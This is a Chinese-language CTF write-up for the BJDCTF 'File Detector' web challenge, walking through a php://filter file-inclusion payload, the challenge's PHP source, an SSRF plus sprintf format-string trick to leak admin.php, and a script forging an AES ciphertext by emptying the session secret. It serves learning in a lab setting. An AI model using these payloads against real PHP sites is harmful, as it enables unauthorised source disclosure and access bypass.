BJD-Web-文件探测-wp

上周周末做了BJDCTF感觉收获很大,这里记录一下web的文件探测题解。题目都在BUUOJ上面,对应wp地址:
官方wp
y1ng师傅的web题解(出题人)

打开题目发现没啥信息,源码提示跟上次BJDCTF有关系,但我没参加上次的(因为太菜),最后在Header信息里发现home.php的hint。访问:

在这里插入图片描述
发现file参数对应system.php很容易发现是文件包含,尝试用filter伪协议读取system.php的源码:
?file=php://filter/convert.base64-encode/resource=system

读取后base64解码即可:(因为代码较长,这儿贴关键部分)

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))) {
	echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
	header("Refresh:0.1;url=index.php");
	die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Detector</title>

    <link rel="stylesheet" type="text/css" href="css/normalize.css" />
    <link rel="stylesheet" type="text/css" href="css/demo.css" />

    <link rel="stylesheet" type="text/css" href="css/component.css" />

    <script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
    <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
        <div class="simform-inner">
            <span><p><center>File Detector</center></p></span>
            <ol class="questions">
                <li>
                    <span><label for="q1">你知道目录下都有什么文件吗?</label></span>
                    <input id="q1" name="q1" type="text"/>
                </li>
                <li>
                    <span><label for="q2">请输入你想检测文件内容长度的url</label></span>
                    <input id="q2" name="q2" type="text"/>
                </li>
                <li>
                    <span><label for="q1">你希望以何种方式访问?GETPOST?</label></span>
                    <input id="q3" name="q3" type="text"/>
                </li>
            </ol>
            <button class="submit" type="submit" value="submit">提交</button>
            <div class="controls">
                <button class="next"></button>
                <div class="progress"></div>
                <span class="number">
					<span class="number-current"></span>
					<span class="number-total"></span>
				</span>
                <span class="error-message"></span>
            </div>
        </div>
        <span class="final-message"></span>
    </form>
    <span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
    var theForm = document.getElementById( 'theForm' );

    new stepsForm( theForm, {
        onSubmit : function( form ) {
            classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
            var messageEl = theForm.querySelector( '.final-message' );
            form.submit();
            messageEl.innerHTML = 'Ok...Let me have a check';
            classie.addClass( messageEl, 'show' );
        }
    } );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';

if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3'])) {
	$url = $_POST['q2'] . ".y1ng.txt";
	$method = $_POST['q3'];

	$str1 = "~$ python fuck.py -u \"" . $url . "\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

	echo $str1;

	if (!preg_match($filter1, $url)) {
		die($str2);
	}
	if (preg_match($filter2, $url)) {
		die($str3);
	}
	if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
		die($str4);
	}
	$detect = @file_get_contents($url, false);
	print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

(本来想直接读取admin.php的源码,但是失败了。)
结合html代码发现主要是对三个问题的限制,(cookie不需要更改,返回包有)
第一个问题没有过滤,主要是第二个,首先是正则:
/^http:\/\/127\.0\.0\.1\//i:要求是以http://127.0.0.1开头(估计是SSRF)
/.?f.?l.?a.?g.?/i :不能包含flag关键字
然后是url参数后面拼接y1ng.txt,第三个问题是传递的$method参数:

if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method))

要求参数必须是GET或POST开头,然后用file_get_contents函数将url参数读进字符串里面,用sprinf函数打印出来,值得注意的是在sprintf函数中,

sprintf("$url method&content_size:$method%d"

将$method参数格式化为整形输出,不用因为跟参数连接在一起了,可以考虑转义%,这样%d就变成普通字符了(注意%%才可转义%)。接着回答三个问题,第一个问题随便写,第二个问题http://127.0.0.1/admin.php?file=1,第三个问题GET%s%
这时,file_get_content函数就会将admin.php读进字符串,然后sprintf函数用%s格式打印出来admin.php

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>

审计代码,主要流程是传递decryptGET参数,经过check函数,将session存储的secret参数赋给变量data,再将data传递给aesEn函数,将返回值跟传递的GET比较,一样则返回flag。
难点主要是secret值未知,后面才知道可以将$_SESSION数组的值置为空,
$_SESSION数组包含了所有的SESSION变量。这样aesEn函数就都是已知量(开始以为是爆破php_rand,一直没做出来,后来发现只取了长度),轻松得到密文。传递即可。

<?php
function aesEn($data, $key) {
	$method = 'AES-128-CBC';
	$iv = md5('1', true); // 你的ip
	return base64_encode(openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv));
}

$cipher = aesEn('', 'y1ng');
echo $cipher;

hint:注意加密后的base64如果出现加号需要url编码,不然会被解析为空格。(后面都是参考y1ng师傅的记录,tql)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值